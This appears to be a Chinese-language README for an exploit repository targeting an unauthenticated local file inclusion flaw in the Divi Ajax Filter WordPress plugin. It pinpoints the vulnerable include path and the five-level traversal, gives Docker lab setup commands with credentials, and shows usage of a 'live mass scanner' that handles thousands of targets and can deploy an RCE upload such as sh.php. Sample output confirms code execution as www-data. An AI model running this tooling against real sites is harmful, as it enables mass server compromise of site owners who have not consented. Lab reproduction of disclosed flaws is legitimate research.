| 插件 | Divi Ajax Filter (Divi Engine, 高级版 — 不在 wordpress.org SVN 中) |
| 受影响版本 | 所有版本 <= 5.1.2 (实验室使用来自镜像的 3.1.8.4) |
| 已修复版本 | 5.1.3 (11/08/2026) |
| 类型 | CWE-98 — PHP 本地文件包含,未认证 |
| CVSS | 9.8 严重 (AV:N/AC:L/PR:N/UI:N) |
| 公告 | Wordfence (发现者: h0xilo),发布于 04/09/2026 |
| 代码来源 | 公共镜像: github.com/albertoformi/fr9z3i4pwxt3qx (WP 站点 + 插件位于 includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 创建
wp_create_nonce('filter_object') 并通过 wp_localize_script
(filter_ajax_object.security) 将其附加到为所有访客排队的脚本上
(wp_enqueue_scripts)。Nonce 并非障碍:每个访客都有其副本。filter_ajax.php:3406-3407 和 loadmore_ajax.php:569-570
使用 wp_ajax_nopriv_* 注册处理程序 (无需登录)。filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])),然后
$custom_loop_template = $loop_var['custom_loop_template'] 原样使用 —
没有 basename(),没有白名单,没有 realpath 检查。cve-2026-11613/
├── poc_http.py # PoC + 实时大规模扫描器 (单文件)
├── divi-ajax-filter-3.1.8.4.zip # 可安装插件 (通过 WP 管理后台 / 插件 > 安装插件上传)
├── README.md
├── mirror-site/ # github albertoformi/fr9z3i4pwxt3qx 的克隆
│ └── includes/modules/divi-ajax-filter/ # 插件 v3.1.8.4 (受影响版本)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB,端口 8099
├── setup.sh # 复制插件 + compose up
├── install_wp.sh # 安装 WP + 验证
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # DiviExtension/ET_Builder_* 垫片 (仅实验室)
│ └── zz-activate-daf.php # 自动激活插件
├── plugins/divi-ajax-filter/ # 易受攻击的插件 (挂载到容器)
└── uploads/poc-rce.php # 模拟的 "上传" 载荷 (末尾退出)
bash lab/setup.sh # 复制插件 + docker compose up (端口 8099)
bash lab/install_wp.sh # 安装 WP (admin / LabPass!2026)
# 添加遍历所需的主题结构:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# 创建 2 个示例文章 (仅一次):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # 自动添加 http://
python poc_http.py https://target.com domain2.com # 多个目标
python poc_http.py --list targets.txt --threads 30 # 大规模扫描 5000+
python poc_http.py --list targets.txt --fast # 轻量扫描 2 请求/目标
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # 部署 RCE
http://;自动去重;结果即时
增量写入 results_cve-2026-11613.csv (Ctrl-C 安全,部分结果已保存)。VULN: LFI / VULN: LFI+RCE (绿色),not-confirmed (黄色),
NO-NONCE / NO-PLUGIN (青色),UNREACHABLE / ERROR (红色)。--no-color / 环境变量 NO_COLOR 用于纯文本输出;管道传输时颜色自动关闭。python wayang.py <site> <wp-user> <wp-pass>
单条命令:登录 → 植入 canary WayangXploit (小型非活动插件,
仅 PoC:打印 marker+uid+uname 后退出,非 webshell,无 cmd 参数)
→ 验证 → 未认证 LFI 扫描 → RCE 判定。自动:https 升级、
SSL 绕过、保留重定向的 POST。清理:测试后在 wp-admin 中删除
"WayangXploit Canary" 和 "Divi Compat Shim" 插件。
poc_http.py 现在默认 --upload-marker WayangXploit-RCE-CONFIRMED
(因此只需 --upload-rel / --upload-name 即可)。
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
实时目标的可利用条件 (live_scan.py 会检查):
filter_object nonce 在公共页面上暴露 (模块脚本已排队)。<theme>/divi-ajax-filter/loop-templates/ (带前缀的遍历需要此目录)。filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
$posttype 来自 JSON
query,无限制,没有允许列表),且查询必须返回 >= 1 篇文章。<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ 需要 ../../../../../ (5 次) 才能回到 webroot。重要说明:
如果路径前缀组件不存在,file_exists()/include() 会静默失败 —
主题内的 divi-ajax-filter/loop-templates/ 目录必须存在 (这是
插件文档化的自定义模板结构,因此在使用此功能的站点上通常存在;
没有该目录,遍历会被有效阻止)。